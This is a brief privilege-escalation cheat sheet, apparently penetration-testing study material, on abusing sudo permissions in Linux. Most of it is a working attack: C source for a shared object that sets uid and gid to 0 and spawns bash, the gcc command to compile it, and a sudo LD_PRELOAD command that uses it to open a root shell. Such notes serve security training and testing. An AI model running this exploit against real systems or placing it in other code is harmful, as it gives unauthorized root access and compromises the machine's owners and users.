Abusing Sudo Permissions

Command Description
sudo -l Check for privileged commands
sudo -u user /bin/echo Hello World! Run sudo as a different user

About

Leverage app functions

Leverage LD_PRELOAD

# shell.c

#include <stdio.h>  
#include <sys/types.h>  
#include <stdlib.h>  
  
void _init() {  
unsetenv("LD_PRELOAD");  
setgid(0);  
setuid(0);  
system("/bin/bash");  
}
Remember!

  • gcc -fPIC -shared -o shell.so shell.c -nostartfiles to compile into a shared object shell.so
  • sudo LD_PRELOAD=/path/to/shell.so SUDO_APP to spawn a root shell abusing current sudo context of the user